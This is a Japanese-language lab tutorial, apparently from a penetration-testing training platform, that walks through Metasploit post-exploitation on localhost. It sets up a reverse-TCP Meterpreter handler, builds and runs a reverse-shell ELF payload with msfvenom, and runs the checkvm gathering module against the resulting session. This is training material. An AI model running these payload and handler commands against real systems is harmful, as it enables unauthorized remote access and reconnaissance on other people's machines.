はじめに
ポストエクスプロイテーション(Post-exploitation)とは、ペネトレーションテストにおいて、攻撃者がターゲットシステムへの初期アクセスを獲得した後に続くフェーズです。このフェーズでは、より多くの情報を収集し、権限を昇格させ、他のシステムへピボットし、永続的なアクセスを維持することを目的とします。Metasploit Framework は、これらのタスクを自動化するための豊富なポストエクスプロイテーションモジュールを提供しています。
この実験(Lab)では、Metasploit でポストエクスプロイテーションモジュールを使用するための基本的なワークフローを学びます。まず Meterpreter セッションを確立し、次に適切なモジュールを検索して設定し、アクティブなセッションに対して実行してターゲットシステムに関する情報を収集します。ここでは、侵害されたホストが仮想マシンであるかどうかを判断しようとする post/linux/gather/checkvm モジュールを例として使用します。
アクティブな Meterpreter セッションを持つ
このステップでは、Metasploit でリスナーを設定し、その後ペイロードを実行して、侵害されたホストが接続し直すことをシミュレートし、アクティブな Meterpreter セッションを作成します。このセッションは、ポストエクスプロイテーションモジュールを実行するための前提条件です。
まず、Metasploit Framework コンソールを起動しましょう。ターミナルを開き、次のように入力します。
msfconsole -q
-q フラグは、起動時のバナーを静かにします。msf6 > プロンプトが表示されたら、リスナーを設定します。ここでは、汎用ハンドラーと Linux Meterpreter ペイロードを使用します。
msfconsole プロンプトに次のコマンドを入力します。
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
次に、exploit -j を使用してリスナーをバックグラウンドジョブとして実行します。
exploit -j
ハンドラーが開始されたことを示す確認メッセージが表示されるはずです。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
次に、新しいターミナルを開きます(ターミナルのタブバーにある + ボタンを使用できます)。この新しいターミナルで、リスナーに接続するペイロードを生成して実行します。ここでは msfvenom を使用して Linux 実行可能ファイルを作成します。
2 番目のターミナルで、このコマンドを実行してペイロードを作成します。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
このコマンドは、~/project ディレクトリに shell.elf という名前の ELF (Executable and Linkable Format) ファイルを作成します。
次に、ファイルを実行可能にします。
chmod +x ~/project/shell.elf
最後に、ペイロードを実行してセッションを確立します。
./shell.elf
これで、最初のターミナル(msfconsole がある方)に戻ってください。新しいセッションが作成されたことを示すメッセージが表示されているはずです。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
確認するには、sessions コマンドを使用してすべてのアクティブなセッションを一覧表示できます。
sessions
アクティブなセッションが一覧表示され、次のステップの準備ができたことがわかります。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
セッションをバックグラウンド化し、post モジュールを検索する
このステップでは、新しいセッションと対話する方法を学び、その後、ポストエクスプロイテーションモジュールを検索するためにメインの msfconsole プロンプトに戻ります。
sessions コマンドの後、msf6 > プロンプトにいます。セッションと対話するには、sessions -i コマンドに続けてセッション ID を使用します。
sessions -i 1
プロンプトが meterpreter > に変わり、侵害されたシステムのセッション内に入ったことを示します。
[*] Starting interaction with 1...
meterpreter >
ポストエクスプロイテーションモジュールを実行するには、メインの msf6 > プロンプトにいる必要があります。Meterpreter セッションをアクティブなままにしてメインコンソールに戻るには、background コマンドを使用します。
background
セッションがバックグラウンドで実行されていることを確認するメッセージが表示され、プロンプトが msf6 > に戻ります。
[*] Backgrounding session 1...
msf6 >
これで、search コマンドを使用してポストエクスプロイテーションモジュールを検索できます。このコマンドは非常に強力で、タイプ、プラットフォーム、名前などでモジュールをフィルタリングできます。仮想マシンをチェックするモジュールを見つけるには、キーワード checkvm を検索できます。
search checkvm
Metasploit は、キーワードに一致するすべてのモジュールを一覧表示します。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
これにより、Linux と Windows の両方のモジュールがあることがわかります。私たちのセッションは Linux ターゲットにあるため、post/linux/gather/checkvm を使用します。
post/linux/gather/checkvm のようなポストエクスプロイテーションモジュールを選択する
このステップでは、前のステップで見つけたポストエクスプロイテーションモジュールを選択し、その設定オプションを表示します。
Metasploit でモジュールを選択または「使用」するには、use コマンドに続けてモジュールの完全な名前を使用します。検索結果に基づいて、post/linux/gather/checkvm を使用します。
use post/linux/gather/checkvm
プロンプトが、現在選択されているモジュールを反映するように変更されます。
msf6 post(linux/gather/checkvm) >
モジュールが選択されたら、常にそのオプションを確認して、何を設定する必要があるかを確認する必要があります。show options コマンドは、現在のモジュールのすべての利用可能な設定を表示します。
show options
出力には、モジュールのオプション、現在の設定、およびそれらが必須かどうかが表示されます。
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
ご覧のとおり、SESSION オプションは必須ですが、まだ値が設定されていません。このオプションは、Metasploit にアクティブなセッションのどれに対してモジュールを実行するかを指示します。
SESSION オプションをアクティブなセッション ID に設定する
このステップでは、ポストエクスプロイテーションモジュールに必要な SESSION オプションを設定します。
前のステップから、アクティブなセッションの ID が 1 であることがわかっています。この ID をモジュールに提供する必要があります。set コマンドは、モジュールオプションを設定するために使用されます。
SESSION オプションを 1 に設定するには、次のコマンドを実行します。
set SESSION 1
値が設定されたことを確認するメッセージが表示されるはずです。
SESSION => 1
確実にするために、もう一度 show options を実行して、SESSION オプションが正しく設定されていることを確認できます。
show options
出力には、SESSION の現在の設定として 1 が表示されます。
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
SESSION オプションが設定されたので、モジュールは実行準備が整いました。
モジュールを実行し、結果を分析する
このステップでは、設定済みのポストエクスプロイテーションモジュールを実行し、その出力を分析します。
モジュールが選択され、必要なオプションがすべて設定されたので、実行できます。Metasploit では、モジュールを実行するために run または exploit コマンドのいずれかを使用できます。ポストエクスプロイテーションモジュールの場合、一般的に run が使用されます。
run
モジュールはターゲットセッション(セッション 1)で実行されます。チェックを実行し、結果をコンソールに表示します。LabEx 環境は仮想化された環境内で実行されるため、肯定的な結果が表示されるはずです。
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
結果の分析:
出力は、ターゲットシステムが Xen および KVM/QEMU の両方の仮想マシンとして検出されたことを明確に示しています。これは、ペネトレーションテスターにとって貴重な情報です。ターゲットが仮想化されていることを知ることは、VM エスケープの脆弱性を探したり、基盤となるインフラストラクチャを理解したりするなど、将来のアクションに影響を与える可能性があります。
これで、最初のポストエクスプロイテーションモジュールを正常に実行できました!
まとめ
この実験では、Metasploit Framework 内でポストエクスプロイテーションモジュールを使用するための基本的なワークフローを学びました。足がかりを確立してからターゲットシステムの情報を収集するまでの全プロセスを正常に実行しました。
以下の方法を学びました。
- リスナーを作成し、Meterpreter セッションを確立する。
- アクティブなセッションをバックグラウンド化して、メインの
msfconsoleプロンプトに戻る。 searchコマンドを使用して、関連するポストエクスプロイテーションモジュールを見つける。useコマンドでモジュールを選択し、show optionsでその設定を表示する。- 必要な
SESSIONオプションを設定してモジュールを構成する。 runコマンドでモジュールを実行し、その出力を分析する。
この基本的なスキルは、権限昇格、認証情報収集、ネットワーク全体でのラテラルムーブメントなど、より高度なポストエクスプロイテーションアクティビティのビルディングブロックとなります。


